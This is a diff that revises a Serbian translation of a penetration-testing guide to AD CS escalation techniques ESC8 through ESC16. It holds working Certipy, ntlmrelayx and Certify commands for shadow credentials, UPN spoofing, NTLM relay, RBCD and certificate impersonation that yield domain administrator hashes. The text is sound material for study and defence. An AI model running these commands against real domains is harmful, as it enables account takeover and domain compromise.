-Svojstvo `msPKI-Enrollment-Servers` koristi preduzeće Certificate Authorities (CAs) za čuvanje tačaka krajnje usluge za upis sertifikata (CES). Ove tačke se mogu analizirati i navesti korišćenjem alata **Certutil.exe**: +Svojstvo `msPKI-Enrollment-Servers` koristi se od strane enterprise Certificate Authorities (CAs) za čuvanje Certificate Enrollment Service (CES) krajnjih tačaka. Ove krajnje tačke mogu se parsirati i nabrojati korišćenjem alata **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -405,7 +420,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Zloupotreba sa Certify +#### Zloupotreba pomoću Certify ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -420,11 +435,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### Abuse with [Certipy](https://github.com/ly4k/Certipy) +#### Zloupotreba sa [Certipy](https://github.com/ly4k/Certipy) -Zahtev za sertifikat se po defaultu pravi od strane Certipy na osnovu šablona `Machine` ili `User`, u zavisnosti od toga da li se ime naloga koje se preusmerava završava sa `$`. Specifikacija alternativnog šablona može se postići korišćenjem parametra `-template`. +Zahtjev za sertifikat Certipy podrazumevano pravi na osnovu template-a `Machine` ili `User`, što se određuje time da li ime naloga koje se prosleđuje završava sa `$`. Navođenje alternativnog template-a može se postići korišćenjem parametra `-template`. -Tehnika poput [PetitPotam](https://github.com/ly4k/PetitPotam) može se zatim koristiti za primoravanje autentifikacije. Kada se radi sa domen kontrolerima, neophodno je specificirati `-template DomainController`. +Tehnika kao [PetitPotam](https://github.com/ly4k/PetitPotam) može se potom upotrebiti da prisili autentifikaciju. Kod domain controllera potrebno je navesti `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -437,127 +452,127 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Bez bezbednosnog proširenja - ESC9 ### Objašnjenje -Nova vrednost **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) za **`msPKI-Enrollment-Flag`**, poznata kao ESC9, sprečava ugrađivanje **nove `szOID_NTDS_CA_SECURITY_EXT` sigurnosne ekstenzije** u sertifikat. Ova oznaka postaje relevantna kada je `StrongCertificateBindingEnforcement` postavljen na `1` (podrazumevano podešavanje), što se razlikuje od podešavanja `2`. Njena relevantnost se povećava u scenarijima gde bi slabija mapa sertifikata za Kerberos ili Schannel mogla biti iskorišćena (kao u ESC10), s obzirom na to da odsustvo ESC9 ne bi promenilo zahteve. +Novi atribut **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) za **`msPKI-Enrollment-Flag`**, nazvan ESC9, sprečava ugradnju **nove `szOID_NTDS_CA_SECURITY_EXT` bezbednosne ekstenzije** u sertifikat. Ovaj flag postaje relevantan kada je `StrongCertificateBindingEnforcement` postavljen na `1` (podrazumevana vrednost), za razliku od podešavanja `2`. Njegova važnost se povećava u scenarijima gde bi slabije mapiranje sertifikata za Kerberos ili Schannel moglo biti iskorišćeno (kao u ESC10), s obzirom da odsustvo ESC9 ne bi promenilo zahteve. -Uslovi pod kojima postavka ove oznake postaje značajna uključuju: +Uslovi pod kojima podešavanje ovog flaga postaje značajno uključuju: -- `StrongCertificateBindingEnforcement` nije podešen na `2` (sa podrazumevanjem `1`), ili `CertificateMappingMethods` uključuje `UPN` oznaku. -- Sertifikat je označen oznakom `CT_FLAG_NO_SECURITY_EXTENSION` unutar postavke `msPKI-Enrollment-Flag`. -- Bilo koja EKU za autentifikaciju klijenta je specificirana sertifikatom. -- `GenericWrite` dozvole su dostupne za bilo koji nalog kako bi se kompromitovao drugi. +- `StrongCertificateBindingEnforcement` nije podešen na `2` (podrazumevano `1`), ili `CertificateMappingMethods` uključuje `UPN` flag. +- Sertifikat je označen `CT_FLAG_NO_SECURITY_EXTENSION` flagom u okviru podešavanja `msPKI-Enrollment-Flag`. +- Bilo koji client authentication EKU je naveden u sertifikatu. +- `GenericWrite` dozvole su dostupne nad bilo kojim nalogom za kompromitovanje drugog. ### Scenarij zloupotrebe -Pretpostavimo da `John@corp.local` ima `GenericWrite` dozvole nad `Jane@corp.local`, sa ciljem da kompromituje `Administrator@corp.local`. `ESC9` šablon sertifikata, u koji `Jane@corp.local` može da se upiše, konfiguriše se sa oznakom `CT_FLAG_NO_SECURITY_EXTENSION` u svojoj postavci `msPKI-Enrollment-Flag`. +Pretpostavimo da `John@corp.local` ima `GenericWrite` dozvole nad `Jane@corp.local`, s ciljem da kompromituje `Administrator@corp.local`. `ESC9` šablon sertifikata, za koji je `Jane@corp.local` ovlašćena da se prijavi, konfigurisan je sa `CT_FLAG_NO_SECURITY_EXTENSION` flagom u okviru `msPKI-Enrollment-Flag` podešavanja. -U početku, `Jane`-in hash se stiče korišćenjem Shadow Credentials, zahvaljujući `John`-ovom `GenericWrite`: +U početku, hash od `Jane` se dobija koristeći Shadow Credentials, zahvaljujući `John`-ovim `GenericWrite` dozvolama: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Nakon toga, `Jane`'s `userPrincipalName` se menja u `Administrator`, namerno izostavljajući deo domena `@corp.local`: +Naknadno, `Jane`-in `userPrincipalName` je izmenjen u `Administrator`, namerno izostavljajući deo domene `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Ova modifikacija ne krši ograničenja, s obzirom na to da `Administrator@corp.local` ostaje različit kao `userPrincipalName` `Administratora`. +Ova izmena ne krši ograničenja, s obzirom da `Administrator@corp.local` ostaje različit kao `Administrator`ov `userPrincipalName`. -Nakon toga, `ESC9` šablon sertifikata, označen kao ranjiv, se traži kao `Jane`: +Nakon toga, `ESC9` šablon sertifikata, označen kao ranjiv, je zatražen kao `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Napomena je da `userPrincipalName` sertifikata odražava `Administrator`, bez ikakvog “object SID”. +Primećeno je da sertifikatov `userPrincipalName` prikazuje `Administrator`, bez bilo kakvog “object SID”. -`Jane`'s `userPrincipalName` se zatim vraća na njen originalni, `Jane@corp.local`: +`Jane`-in `userPrincipalName` se zatim vraća na njen original, `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Pokušaj autentifikacije sa izdatim sertifikatom sada daje NT hash `Administrator@corp.local`. Komanda mora uključivati `-domain ` zbog nedostatka specifikacije domena u sertifikatu: +Pokušaj autentifikacije izdatim sertifikatom sada vraća NT hash korisnika `Administrator@corp.local`. Komanda mora uključivati `-domain ` zbog toga što sertifikat nema specificiran domen: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Slabe Mape Sertifikata - ESC10 +## Slabo mapiranje sertifikata - ESC10 ### Objašnjenje -Dve vrednosti registra na kontroleru domena se nazivaju ESC10: +ESC10 se odnosi na dve vrednosti Windows Registry ključa na kontroleru domena: -- Podrazumevana vrednost za `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` je `0x18` (`0x8 | 0x10`), prethodno postavljena na `0x1F`. -- Podrazumevana postavka za `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` je `1`, prethodno `0`. +- Podrazumevana vrednost za `CertificateMappingMethods` pod `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` je `0x18` (`0x8 | 0x10`), ranije postavljena na `0x1F`. +- Podrazumevano podešavanje za `StrongCertificateBindingEnforcement` pod `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` je `1`, ranije `0`. -**Slučaj 1** +### Slučaj 1 -Kada je `StrongCertificateBindingEnforcement` konfigurisan kao `0`. +Kada je `StrongCertificateBindingEnforcement` konfigurisano kao `0`. -**Slučaj 2** +### Slučaj 2 Ako `CertificateMappingMethods` uključuje `UPN` bit (`0x4`). -### Slučaj Zloupotrebe 1 +### Zloupotreba - Slučaj 1 -Sa `StrongCertificateBindingEnforcement` konfigurisanom kao `0`, nalog A sa `GenericWrite` dozvolama može biti iskorišćen da kompromituje bilo koji nalog B. +Ako je `StrongCertificateBindingEnforcement` podešen na `0`, nalog A sa `GenericWrite` dozvolama može se iskoristiti da kompromituje bilo koji nalog B. -Na primer, imajući `GenericWrite` dozvole nad `Jane@corp.local`, napadač ima za cilj da kompromituje `Administrator@corp.local`. Procedura odražava ESC9, omogućavajući korišćenje bilo kog šablona sertifikata. +Na primer, ako napadač ima `GenericWrite` dozvole nad `Jane@corp.local`, cilj mu je da kompromituje `Administrator@corp.local`. Postupak je isti kao kod ESC9, što omogućava korišćenje bilo kojeg šablona sertifikata. -U početku, `Jane`-in hash se preuzima koristeći Shadow Credentials, iskorišćavajući `GenericWrite`. +U početku se hash `Jane` dobija korišćenjem Shadow Credentials, iskorišćavajući `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Nakon toga, `Jane`'s `userPrincipalName` se menja u `Administrator`, namerno izostavljajući deo `@corp.local` kako bi se izbegla povreda ograničenja. +Nakon toga, `Jane`-in `userPrincipalName` je izmenjen u `Administrator`, namerno izostavljajući deo `@corp.local` da bi se izbeglo kršenje ograničenja. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Nakon toga, sertifikat koji omogućava autentifikaciju klijenta se traži kao `Jane`, koristeći podrazumevani `User` šablon. +Nakon toga, zatražen je sertifikat koji omogućava autentifikaciju klijenta kao `Jane`, koristeći podrazumevani `User` šablon. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` se zatim vraća na originalni, `Jane@corp.local`. +`userPrincipalName` korisnika `Jane` se zatim vraća na originalnu vrednost, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Autentifikacija sa dobijenom sertifikatom će dati NT hash `Administrator@corp.local`, što zahteva navođenje domena u komandi zbog odsustva informacija o domenu u sertifikatu. +Autentifikacijom dobijenog sertifikata dobićete NT hash korisnika `Administrator@corp.local`, pa je potrebno navesti domen u naredbi zbog nedostatka podataka o domenu u sertifikatu. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Abuse Case 2 +### Slučaj zloupotrebe 2 -Sa `CertificateMappingMethods` koji sadrži `UPN` bit flag (`0x4`), nalog A sa `GenericWrite` dozvolama može kompromitovati bilo koji nalog B koji nema `userPrincipalName` svojstvo, uključujući naloge mašina i ugrađenog domen administratora `Administrator`. +Kada `CertificateMappingMethods` sadrži `UPN` bit flag (`0x4`), nalog A sa `GenericWrite` dozvolama može kompromitovati bilo koji nalog B koji nema `userPrincipalName` property, uključujući machine accounts i ugrađenog domain administratora `Administrator`. -Ovde je cilj kompromitovati `DC$@corp.local`, počevši od dobijanja `Jane`-inog hash-a putem Shadow Credentials, koristeći `GenericWrite`. +Ovde je cilj kompromitovati `DC$@corp.local`, počevši od dobijanja `Jane`'s hash pomoću Shadow Credentials, iskorišćavanjem `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`'s `userPrincipalName` je zatim postavljen na `DC$@corp.local`. +Vrednost `userPrincipalName` za `Jane` je zatim postavljena na `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Zahteva se sertifikat za autentifikaciju klijenta kao `Jane` koristeći podrazumevani `User` šablon. +Sertifikat za autentifikaciju klijenta je zatražen kao `Jane` koristeći podrazumevani šablon `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` se vraća na prvobitno nakon ovog procesa. +`userPrincipalName` korisnice `Jane` se nakon ovog procesa vraća na izvorni. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Da bi se autentifikovao putem Schannel-a, koristi se Certipy-ova opcija `-ldap-shell`, koja označava uspešnu autentifikaciju kao `u:CORP\DC$`. +Za autentifikaciju preko Schannel korišćena je Certipy opcija `-ldap-shell`, što označava uspešnu autentifikaciju kao `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Kroz LDAP shell, komande kao što su `set_rbcd` omogućavaju napade zasnovane na resursima sa ograničenom delegacijom (RBCD), što može ugroziti kontroler domena. +Kroz LDAP shell, komande poput `set_rbcd` omogućavaju Resource-Based Constrained Delegation (RBCD) napade, potencijalno kompromitujući domain controller. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Ova ranjivost se takođe odnosi na bilo koji korisnički nalog koji nema `userPrincipalName` ili gde se ne poklapa sa `sAMAccountName`, pri čemu je podrazumevani `Administrator@corp.local` primarna meta zbog svojih povišenih LDAP privilegija i odsustva `userPrincipalName` po defaultu. +Ova ranjivost se takođe odnosi na bilo koji korisnički nalog koji nema `userPrincipalName` ili na kome se on ne poklapa sa `sAMAccountName`; podrazumevani `Administrator@corp.local` je primarni cilj zbog svojih povišenih LDAP privilegija i zato što podrazumevano nema `userPrincipalName`. ## Relaying NTLM to ICPR - ESC11 ### Objašnjenje -Ako CA Server nije konfigurisan sa `IF_ENFORCEENCRYPTICERTREQUEST`, može se izvršiti NTLM relaying napad bez potpisivanja putem RPC servisa. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Možete koristiti `certipy` da enumerišete da li je `Enforce Encryption for Requests` onemogućen i certipy će prikazati `ESC11` ranjivosti. +Možete koristiti `certipy` da proverite da li je `Enforce Encryption for Requests` onemogućen, a certipy će prikazati `ESC11` ranjivosti. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -574,9 +589,9 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Abuse Scenario +### Scenarij zloupotrebe -Potrebno je postaviti relani server: +Potrebno je postaviti relay server: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -595,9 +610,9 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Napomena: Za kontrolere domena, moramo navesti `-template` u DomainController. +Napomena: Za domain controllers, moramo navesti `-template` u DomainController. -Ili koristeći [sploutchy's fork of impacket](https://github.com/sploutchy/impacket): +Ili koristeći [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` @@ -605,19 +620,19 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s ### Objašnjenje -Administratori mogu postaviti Sertifikacionu Autoritetu da je čuva na spoljnjem uređaju kao što je "Yubico YubiHSM2". +Administratori mogu da podese Certificate Authority tako da ga skladišti na eksternom uređaju kao što je "Yubico YubiHSM2". -Ako je USB uređaj povezan sa CA serverom putem USB porta, ili USB uređaj server u slučaju da je CA server virtuelna mašina, potrebna je autentifikaciona ključ (ponekad nazvan "lozinka") za Ključni Skladišni Provajder da generiše i koristi ključeve u YubiHSM. +Ako je USB uređaj povezan sa CA serverom preko USB porta, ili kroz USB device server u slučaju da je CA server virtuelna mašina, authentication key (sometimes referred to as a "password") je potreban Key Storage Provider-u da bi generisao i koristio ključeve u YubiHSM. -Ovaj ključ/lozinka se čuva u registru pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` u čistom tekstu. +Ovaj ključ/password je sačuvan u registru pod `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` u čistom tekstu. -Reference u [ovde](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). -### Scenarijo zloupotrebe +### Scenarij zloupotrebe -Ako je privatni ključ CA sačuvan na fizičkom USB uređaju kada ste dobili pristup shell-u, moguće je povratiti ključ. +Ako je privatni ključ CA-a uskladišten na fizičkom USB uređaju, kada dobijete shell access, moguće je povratiti ključ. -Prvo, potrebno je da dobijete CA sertifikat (ovo je javno) i zatim: +U prvom koraku, potrebno je dobiti CA certificate (ovo je javno) i zatim: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -627,13 +642,13 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my CN=SomeUser`. Napadač bi mogao da dobije sertifikat sa ovim CN iz manje sigurnog izvora. -- Korišćenje previše generičkih Issuer Distinguished Names (DNs) ili Subject DNs bez daljeg kvalifikovanja poput specifičnog serijskog broja ili identifikatora ključa subjekta: npr., `X509:CN=SomeInternalCACN=GenericUser`. -- Zapošljavanje drugih predvidivih obrazaca ili nekriptografskih identifikatora koje napadač može zadovoljiti u sertifikatu koji može legitimno dobiti ili falsifikovati (ako je kompromitovao CA ili pronašao ranjivu šablon kao u ESC1). +- Mapiranje isključivo po uobičajenom Subject Common Name (CN): npr., `X509:CN=SomeUser`. Napadač bi mogao da pribavi sertifikat sa ovim CN iz manje sigurnog izvora. +- Korišćenje previše generičkih Issuer Distinguished Names (DNs) ili Subject DNs bez daljeg kvalifikovanja kao što su specifičan serial number ili subject key identifier: npr., `X509:CN=SomeInternalCACN=GenericUser`. +- Upotreba drugih predvidljivih obrazaca ili ne-kriptografskih identifikatora koje napadač može zadovoljiti u sertifikatu koji može legitimno dobiti ili falsifikovati (ako je kompromitovao CA ili pronašao ranjiv template kao u ESC1). Atribut `altSecurityIdentities` podržava različite formate za mapiranje, kao što su: - `X509:IssuerDNSubjectDN` (mapira po punom Issuer i Subject DN) -- `X509:SubjectKeyIdentifier` (mapira po vrednosti ekstenzije Subject Key Identifier sertifikata) -- `X509:SerialNumberBackedByIssuerDN` (mapira po serijskom broju, implicitno kvalifikovanom od strane Issuer DN) - ovo nije standardni format, obično je to `IssuerDNSerialNumber`. -- `X509:EmailAddress` (mapira po RFC822 imenu, obično email adresi, iz SAN-a) -- `X509:Thumbprint-of-Raw-PublicKey` (mapira po SHA1 hešu sirovog javnog ključa sertifikata - generalno jak) +- `X509:SubjectKeyIdentifier` (mapira po Subject Key Identifier vrednosti u sertifikatu) +- `X509:SerialNumberBackedByIssuerDN` (mapira po serial number-u, implicitno kvalifikovanom Issuer DN-om) - ovo nije standardni format, obično je `IssuerDNSerialNumber`. +- `X509:EmailAddress` (mapira po RFC822 imenu, obično email adresi, iz SAN) +- `X509:Thumbprint-of-Raw-PublicKey` (mapira po SHA1 hashu raw public key-a sertifikata - generalno jako) -Bezbednost ovih mapiranja u velikoj meri zavisi od specifičnosti, jedinstvenosti i kriptografske snage odabranih identifikatora sertifikata korišćenih u stringu mapiranja. Čak i sa jakim režimima vezivanja sertifikata omogućeni na Domain Controllers (koji prvenstveno utiču na implicitna mapiranja zasnovana na SAN UPN-ovima/DNS i SID ekstenziji), loše konfigurisan `altSecurityIdentities` unos može i dalje predstavljati direktan put za impersonaciju ako je sama logika mapiranja pogrešna ili previše permisivna. -### Abuse Scenario +Bezbednost ovih mapiranja u velikoj meri zavisi od specifičnosti, jedinstvenosti i kriptografske jačine izabranih identifikatora sertifikata korišćenih u mapping stringu. Čak i sa omogućenim jakim režimima vezivanja sertifikata na Domain Controllers (koji pre svega utiču na implicitna mapiranja zasnovana na SAN UPN-ovima/DNS i SID ekstenziji), loše konfigurisana `altSecurityIdentities` stavka i dalje može predstavljati direktan put za impersonaciju ako je sama logika mapiranja pogrešna ili previše permisivna. -ESC14 cilja **eksplicitna mapiranja sertifikata** u Active Directory (AD), posebno atribut `altSecurityIdentities`. Ako je ovaj atribut postavljen (po dizajnu ili pogrešnom konfiguracijom), napadači mogu impersonirati račune predstavljajući sertifikate koji odgovaraju mapiranju. +### Scenarij zloupotrebe -#### Scenario A: Napadač može pisati u `altSecurityIdentities` +ESC14 cilja **eksplicitna mapiranja sertifikata** u Active Directory (AD), konkretno atribut `altSecurityIdentities`. Ako je ovaj atribut postavljen (po dizajnu ili zbog pogrešne konfiguracije), napadači mogu da se predstavljaju kao nalozi tako što će prikazati sertifikate koji odgovaraju mapiranju. -**Precondition**: Napadač ima dozvole za pisanje na atribut `altSecurityIdentities` ciljanog računa ili dozvolu da je dodeli u obliku jedne od sledećih dozvola na ciljanom AD objektu: +#### Scenarij A: Napadač može da piše u `altSecurityIdentities` + +**Preduslov**: Napadač ima write permisije nad `altSecurityIdentities` atributom ciljane naloga ili ima dozvolu da je dodeli u vidu jedne od sledećih permisija na ciljnom AD objektu: - Write property `altSecurityIdentities` - Write property `Public-Information` - Write property (all) @@ -707,19 +723,23 @@ ESC14 cilja **eksplicitna mapiranja sertifikata** u Active Directory (AD), poseb - `GenericWrite` - `GenericAll` - Owner*. -#### Scenario B: Cilj ima slabo mapiranje putem X509RFC822 (Email) -- **Precondition**: Cilj ima slabo X509RFC822 mapiranje u altSecurityIdentities. Napadač može postaviti atribut mail žrtve da odgovara X509RFC822 imenu cilja, upisati sertifikat kao žrtvu i koristiti ga za autentifikaciju kao cilj. -#### Scenario C: Cilj ima X509IssuerSubject mapiranje +#### Scenarij B: Cilj ima slabo mapiranje preko X509RFC822 (email) -- **Precondition**: Cilj ima slabo X509IssuerSubject eksplicitno mapiranje u `altSecurityIdentities`. Napadač može postaviti atribut `cn` ili `dNSHostName` na žrtvenom principu da odgovara subjektu X509IssuerSubject mapiranja cilja. Zatim, napadač može upisati sertifikat kao žrtvu i koristiti ovaj sertifikat za autentifikaciju kao cilj. -#### Scenario D: Cilj ima X509SubjectOnly mapiranje +- **Preduslov**: Cilj ima slabo X509RFC822 mapiranje u altSecurityIdentities. Napadač može da postavi victim-ov `mail` atribut da se poklapa sa target-ovim X509RFC822 imenom, upiše sertifikat kao victim i iskoristi ga da se autentifikuje kao cilj. -- **Precondition**: Cilj ima slabo X509SubjectOnly eksplicitno mapiranje u `altSecurityIdentities`. Napadač može postaviti atribut `cn` ili `dNSHostName` na žrtvenom principu da odgovara subjektu X509SubjectOnly mapiranja cilja. Zatim, napadač može upisati sertifikat kao žrtvu i koristiti ovaj sertifikat za autentifikaciju kao cilj. -### concrete operations -#### Scenario A +#### Scenarij C: Cilj ima X509IssuerSubject mapiranje -Zatražite sertifikat šablona sertifikata `Machine` +- **Preduslov**: Cilj ima slabo X509IssuerSubject eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na victim principal-u da odgovara subject-u target-ovog X509IssuerSubject mapiranja. Zatim, napadač može upisati sertifikat kao victim i koristiti taj sertifikat da se autentifikuje kao cilj. + +#### Scenarij D: Cilj ima X509SubjectOnly mapiranje + +- **Preduslov**: Cilj ima slabo X509SubjectOnly eksplicitno mapiranje u `altSecurityIdentities`. Napadač može da postavi `cn` ili `dNSHostName` atribut na victim principal-u da odgovara subject-u target-ovog X509SubjectOnly mapiranja. Zatim, napadač može upisati sertifikat kao victim i koristiti taj sertifikat da se autentifikuje kao cilj. + +### konkretne operacije +#### Scenarij A + +Zatražite sertifikat iz šablona sertifikata `Machine`. ```bash .\Certify.exe request /ca: /template:Machine /machine ``` @@ -735,27 +755,27 @@ Autentifikujte se (koristeći sertifikat) ```bash Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:DC=local,DC=external,CN=external-EXTCA01-CA250000000000a5e838c6db04f959250000006c" ``` -Za specifičnije metode napada u raznim scenarijima napada, molimo vas da se obratite sledećem: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). +Za specifičnije metode napada u raznim scenarijima, molimo pogledajte sledeće: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0). -## EKUwu Aplikacione Politike (CVE-2024-49019) - ESC15 +## EKUwu Application Policies(CVE-2024-49019) - ESC15 ### Objašnjenje -Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc je izuzetno detaljan. Ispod je citat originalnog teksta. +Opis na https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc je izuzetno detaljan. Ispod sledi citat originalnog teksta. -Koristeći ugrađene podrazumevane verzije 1 šablona sertifikata, napadač može da kreira CSR koji uključuje aplikacione politike koje su prioritetne u odnosu na konfigurirane atribute Proširene Ključne Upotrebe navedene u šablonu. Jedini zahtev su prava na upis, i može se koristiti za generisanje sertifikata za autentifikaciju klijenata, agente za zahtev sertifikata i sertifikate za potpisivanje koda koristeći **_WebServer_** šablon. +Using built-in default version 1 certificate templates, an attacker can craft a CSR to include application policies that are preferred over the configured Extended Key Usage attributes specified in the template. The only requirement is enrollment rights, and it can be used to generate client authentication, certificate request agent, and codesigning certificates using the **_WebServer_** template ### Zloupotreba -Sledeće se odnosi na [ovu vezu](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu), Kliknite da vidite detaljnije metode korišćenja. +Sledeće se odnosi na [this link]((https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu),Click to see more detailed usage methods. -Certipyjeva komanda `find` može pomoći u identifikaciji V1 šablona koji su potencijalno podložni ESC15 ako je CA neispravljen. +Certipy's `find` command može pomoći da identifikujete V1 templates koji su potencijalno podložni ESC15 ako CA nije zakrpljen. ```bash certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100 ``` -#### Scenario A: Direct Impersonation via Schannel +#### Scenarij A: Direktno lažno predstavljanje preko Schannel -**Step 1: Request a certificate, injecting "Client Authentication" Application Policy and target UPN.** Napadač `attacker@corp.local` cilja `administrator@corp.local` koristeći "WebServer" V1 šablon (koji omogućava da podnosilac zahteva dostavi subjekat). +**Korak 1: Zatražite sertifikat, ubacujući "Client Authentication" Application Policy i ciljni UPN.** Napadač `attacker@corp.local` cilja `administrator@corp.local` koristeći "WebServer" V1 šablon (koji omogućava enrollee-supplied subject). ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -764,17 +784,17 @@ certipy req \ -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \ -application-policies 'Client Authentication' ``` -- `-template 'WebServer'`: Ranjivi V1 šablon sa "Enrollee supplies subject". -- `-application-policies 'Client Authentication'`: Ubacuje OID `1.3.6.1.5.5.7.3.2` u ekstenziju Application Policies CSR-a. +- `-template 'WebServer'`: Ranjiv V1 template sa "Enrollee supplies subject". +- `-application-policies 'Client Authentication'`: Ubacuje OID `1.3.6.1.5.5.7.3.2` u Application Policies ekstenziju CSR-a. - `-upn 'administrator@corp.local'`: Postavlja UPN u SAN za impersonaciju. -**Step 2: Autentifikujte se putem Schannel (LDAPS) koristeći dobijeni sertifikat.** +**Korak 2: Autentifikujte se putem Schannel (LDAPS) koristeći dobijeni sertifikat.** ```bash certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell ``` -#### Scenario B: PKINIT/Kerberos Impersonacija putem zloupotrebe Enrollment Agenta +#### Scenarij B: PKINIT/Kerberos Impersonation putem Enrollment Agent Abuse -**Step 1: Zatražite sertifikat iz V1 šablona (sa "Enrollee supplies subject"), injektujući "Certificate Request Agent" Application Policy.** Ovaj sertifikat je za napadača (`attacker@corp.local`) da postane enrollment agent. Nema UPN-a navedenog za identitet napadača ovde, jer je cilj sposobnost agenta. +**Korak 1: Zatražite sertifikat iz V1 template (sa "Enrollee supplies subject"), ubacujući "Certificate Request Agent" Application Policy.** Ovaj sertifikat je za napadača (`attacker@corp.local`) da postane enrollment agent. Ovde nije naveden nijedan UPN za identitet napadača, jer je cilj sposobnost agenta. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -784,7 +804,7 @@ certipy req \ ``` - `-application-policies 'Certificate Request Agent'`: Ubacuje OID `1.3.6.1.4.1.311.20.2.1`. -**Korak 2: Koristite "agent" sertifikat da zatražite sertifikat u ime ciljanog privilegovanog korisnika.** Ovo je korak sličan ESC3, koristeći sertifikat iz Koraka 1 kao agent sertifikat. +**Korak 2: Iskoristite "agent" sertifikat da zatražite sertifikat u ime ciljanog privilegovanog korisnika.** Ovo je ESC3-like korak, koristeći sertifikat iz Koraka 1 kao agent sertifikat. ```bash certipy req \ -u 'attacker@corp.local' -p 'Passw0rd!' \ @@ -800,44 +820,44 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' ### Explanation -**ESC16 (Povećanje privilegija putem nedostajuće szOID_NTDS_CA_SECURITY_EXT ekstenzije)** se odnosi na scenario gde, ako konfiguracija AD CS ne zahteva uključivanje 